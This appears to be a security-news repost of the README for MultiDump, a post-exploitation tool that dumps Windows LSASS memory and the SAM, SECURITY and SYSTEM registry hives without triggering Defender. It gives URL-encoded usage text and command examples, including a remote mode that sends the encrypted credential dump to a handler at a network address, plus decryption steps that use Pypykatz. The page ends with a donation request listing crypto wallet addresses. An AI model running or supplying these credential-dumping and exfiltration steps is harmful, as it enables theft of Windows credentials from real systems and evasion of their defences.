MultiDump: dumping & extracting LSASS memory discreetly, without triggering Defender alerts

MultiDump

MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.

MultiDump supports LSASS dump via ProcDump.exe or comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis.

Use

[pastacode lang=”markup” manual=”%20%20%20%20__%20%20__%20%20%20%20%20%20%20_%20_%20%20%20_%20_____%0A%20%20%20%7C%20%20%5C%2F%20%20%7C_%20%20%20_%7C%20%7C%20%7C_(_)%20%20__%20%5C%20_%20%20%20_%20_%20__%20___%20%20_%20__%0A%20%20%20%7C%20%7C%5C%2F%7C%20%7C%20%7C%20%7C%20%7C%20%7C%20__%7C%20%7C%20%7C%20%20%7C%20%7C%20%7C%20%7C%20%7C%20’_%20%60%20_%20%5C%7C%20’_%20%5C%0A%20%20%20%7C%20%7C%20%20%7C%20%7C%20%7C_%7C%20%7C%20%7C%20%7C_%7C%20%7C%20%7C__%7C%20%7C%20%7C_%7C%20%7C%20%7C%20%7C%20%7C%20%7C%20%7C%20%7C_)%20%7C%0A%20%20%20%7C_%7C%20%20%7C_%7C%5C__%2C_%7C_%7C%5C__%7C_%7C_____%2F%20%5C__%2C_%7C_%7C%20%7C_%7C%20%7C_%7C%20.__%2F%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7C_%7C%0A%0AUsage%3A%20%20MultiDump.exe%20%5B-p%20%3CProcDumpPath%3E%5D%20%5B-l%20%3CLocalDumpPath%3E%20%7C%20-r%20%3CRemoteHandlerAddr%3E%5D%20%5B–procdump%5D%20%5B-v%5D%0A%0A-p%20%20%20%20%20%20%20%20%20%20%20%20%20%20Path%20to%20save%20procdump.exe%2C%20use%20full%20path.%20Default%20to%20temp%20directory%0A-l%20%20%20%20%20%20%20%20%20%20%20%20%20%20Path%20to%20save%20encrypted%20dump%20file%2C%20use%20full%20path.%20Default%20to%20current%20directory%0A-r%20%20%20%20%20%20%20%20%20%20%20%20%20%20Set%20ip%3Aport%20to%20connect%20to%20a%20remote%20handler%0A–procdump%20%20%20%20%20%20Writes%20procdump%20to%20disk%20and%20use%20it%20to%20dump%20LSASS%0A–nodump%20%20%20%20%20%20%20%20Disable%20LSASS%20dumping%0A–reg%20%20%20%20%20%20%20%20%20%20%20Dump%20SAM%2C%20SECURITY%20and%20SYSTEM%20hives%0A–delay%20%20%20%20%20%20%20%20%20Increase%20interval%20between%20connections%20to%20for%20slower%20network%20speeds%0A-v%20%20%20%20%20%20%20%20%20%20%20%20%20%20Enable%20verbose%20mode%0A%0AMultiDump%20defaults%20in%20local%20mode%20using%20comsvcs.dll%20and%20saves%20the%20encrypted%20dump%20in%20the%20current%20directory.%0AExamples%3A%0A%20%20%20%20%20%20%20%20MultiDump.exe%20-l%20C%3A%5CUsers%5CPublic%5Clsass.dmp%20-v%0A%20%20%20%20%20%20%20%20MultiDump.exe%20–procdump%20-p%20C%3A%5CTools%5Cprocdump.exe%20-r%20192.168.1.100%3A5000″ message=”” highlight=”” provider=”manual”/]

[pastacode lang=”markup” manual=”usage%3A%20MultiDumpHandler.py%20%5B-h%5D%20%5B-r%20REMOTE%5D%20%5B-l%20LOCAL%5D%20%5B–sam%20SAM%5D%20%5B–security%20SECURITY%5D%20%5B–system%20SYSTEM%5D%20%5B-k%20KEY%5D%20%5B–override-ip%20OVERRIDE_IP%5D%0A%0AHandler%20for%20RemoteProcDump%0A%0Aoptions%3A%0A%20%20-h%2C%20–help%20%20%20%20%20%20%20%20%20%20%20%20show%20this%20help%20message%20and%20exit%0A%20%20-r%20REMOTE%2C%20–remote%20REMOTE%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Port%20to%20receive%20remote%20dump%20file%0A%20%20-l%20LOCAL%2C%20–local%20LOCAL%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Local%20dump%20file%2C%20key%20needed%20to%20decrypt%0A%20%20–sam%20SAM%20%20%20%20%20%20%20%20%20%20%20%20%20Local%20SAM%20save%2C%20key%20needed%20to%20decrypt%0A%20%20–security%20SECURITY%20%20%20Local%20SECURITY%20save%2C%20key%20needed%20to%20decrypt%0A%20%20–system%20SYSTEM%20%20%20%20%20%20%20Local%20SYSTEM%20save%2C%20key%20needed%20to%20decrypt%0A%20%20-k%20KEY%2C%20–key%20KEY%20%20%20%20%20Key%20to%20decrypt%20local%20file%0A%20%20–override-ip%20OVERRIDE_IP%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Manually%20specify%20the%20IP%20address%20for%20key%20generation%20in%20remote%20mode%2C%20for%20proxied%20connection” message=”” highlight=”” provider=”manual”/]

As with all LSASS-related tools, Administrator/SeDebugPrivilege privileges are required.

The handler depends on Pypykatz to parse the LSASS dump, and impacket to parse the registry saves. They should be installed in your environment. If you see the error All detection methods failed, it’s likely the Pypykatz version is outdated.

By default, MultiDump uses the Comsvc.dll method and saves the encrypted dump in the current directory.

[pastacode lang=”markup” manual=”MultiDump.exe%0A…%0A%5Bi%5D%20Local%20Mode%20Selected.%20Writing%20Encrypted%20Dump%20File%20to%20Disk…%0A%5Bi%5D%20C%3A%5CUsers%5CMalTest%5CDesktop%5Cdciqjp.dat%20Written%20to%20Disk.%0A%5Bi%5D%20Key%3A%2091ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e” message=”” highlight=”” provider=”manual”/]

[pastacode lang=”markup” manual=”.%2FProcDumpHandler.py%20-f%20dciqjp.dat%20-k%2091ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e” message=”” highlight=”” provider=”manual”/]

If –procdump is used, ProcDump.exe will be written to disk to dump LSASS.

In remote mode, MultiDump connects to the handler’s listener.

[pastacode lang=”markup” manual=”.%2FProcDumpHandler.py%20-r%209001%0A%5Bi%5D%20Listening%20on%20port%209001%20for%20encrypted%20key…%0AMultiDump.exe%20-r%2010.0.0.1%3A9001″ message=”” highlight=”” provider=”manual”/]

The key is encrypted with the handler’s IP and port. When MultiDump connects through a proxy, the handler should use the –override-ip option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump -r.

An additional option to dump the SAM, SECURITY, and SYSTEM hives is available with –reg, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post-exploit information gathering easier.

Blog post: https://xre0us.io/posts/multidump

Install

Support Our Threat Intelligence

If you find our technology report and cybersecurity news helpful, consider supporting our work.

Crypto QR Code
USDT (TRC20):
TN8BdV8cp4T1Cd28gK9qTAnZknzzuwyUtm
USDT (ERC20):
0x3725e1a7d3bc5765499fa6aaafe307fabcd75bce

Leave a Reply